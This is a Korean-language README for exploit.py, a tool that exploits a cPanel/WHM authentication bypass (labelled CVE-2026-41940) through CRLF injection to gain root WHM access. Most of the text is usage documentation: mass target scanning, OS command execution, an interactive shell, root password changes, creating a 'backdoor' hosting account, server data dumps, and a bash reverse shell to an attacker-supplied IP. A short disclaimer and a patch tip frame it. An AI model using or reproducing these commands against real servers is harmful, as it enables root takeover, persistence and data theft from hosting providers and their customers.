
cPanel/WHM 인증 우회 (제로데이 취약점)
고지사항: 이 문서와 관련 스크립트(
exploit.py)는 교육 목적, 보안 연구 및 승인된 침투 테스트용으로만 제공됩니다. 이 소프트웨어를 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.
exploit.py는 cPanel 및 WHM의 인증 우회 취약점(CVE-2026-41940)을 시연하는 스크립트입니다. 이 취약점은 CRLF 주입 결함을 통해 인증되지 않은 공격자가 루트 세션을 데몬 캐시에 주입하여, 유효한 자격 증명 없이도 루트 수준의 WHM 액세스 권한을 부여합니다.
이 익스플로잇은 Basic Authentication 처리 메커니즘 내의 CRLF(Carriage Return Line Feed) 주입 취약점과 세션 전파 결함을 결합하여 작동합니다. 스크립트는 다음 4단계로 공격을 자동화합니다:
/login/ 또는 /cgi/login.cgi)에 연결하여 기본적인 인증되지 않은 세션 쿠키(whostmgrsession)를 획득합니다.cpsrvd 세션 캐시에 직접 주입합니다. 서버의 리디렉션 응답은 생성된 보안 토큰()을 노출합니다.cpsessdo_token_denied가 위조된 세션을 데몬 캐시에 전파하도록 트리거하여 유효한 인증 세션으로 만듭니다./json-api/version)에 접근하여 루트 수준 액세스를 확인합니다.requests 라이브러리pip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| 인수 | 설명 |
|---|---|
--target URL | 단일 WHM URL (예: https://target:2087) |
--target-file FILE | 대상이 포함된 파일 (한 줄에 하나의 ip:port) — 자동으로 확인 모드 활성화 |
| 인수 | 설명 |
|---|---|
--threads N | 다중 대상 모드에서의 동시 스레드 (기본값: 10) |
--hostname HOST | Host 헤더 재정의 — 자동 검색 실패 또는 잘못된 호스트명 발견 시 사용 |
--timeout N | 요청당 제한 시간(초) (기본값: 15) |
--retries N | 네트워크 오류 발생 시 재시도 횟수 (기본값: 3) |
--cookie-name NAME | 특정 세션 쿠키 이름 강제 지정 (생략 시 자동 감지) |
--no-verify | 4단계 확인을 건너뛰고 계속 진행 |
| 인수 | 설명 |
|---|---|
--check | 확인 전용 모드 — 취약점을 악용하지 않고 확인만 수행 (--target-file과 함께 자동 설정) |
--password PASS | 루트 비밀번호를 PASS로 변경 |
--api FUNC | 특정 WHM JSON-API 함수 호출 |
--api-params K=V,... | --api에 전달할 쉼표로 구분된 매개변수 |
--exec CMD | WHM scripts/run_script를 통해 OS 명령 실행 (대체: rawexec) |
--session | 루트 원클릭 로그인 URL 생성 — 즉시 열기, 토큰이 빠르게 만료됨 |
--shell | 대화형 WHM 셸 진입 (단일 대상 전용) |
--dump | 서버 정보 덤프: 버전, 계정, DNS 영역, 권한 |
--add-user USER PASS DOMAIN | 새 cPanel 호스팅 계정 생성 |
--revshell LHOST LPORT | 리스너로 bash 리버스 셸 전송 |
| 인수 | 설명 |
|---|---|
--output FILE | 세션 토큰 및 세부 정보를 JSON 파일로 저장 |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
--shell 사용 시 다음 명령어를 사용할 수 있습니다:
| 명령어 | 설명 |
|---|---|
api <function> [k=v ...] | WHM JSON-API 함수 호출 (예: api version) |
exec <command> | WHM을 통해 OS 명령 실행 (예: exec id) |
passwd <newpass> | 루트 비밀번호 변경 |
dump | 서버 정보 덤프 |
revshell <lhost> <lport> | 리버스 셸 전송 |
add <user> <pass> <domain> | cPanel 계정 생성 |
save <path> | 현재 세션을 파일로 저장 |
exit / quit | 셸 종료 |
최신 cPanel/WHM 보안 패치를 즉시 업데이트하십시오.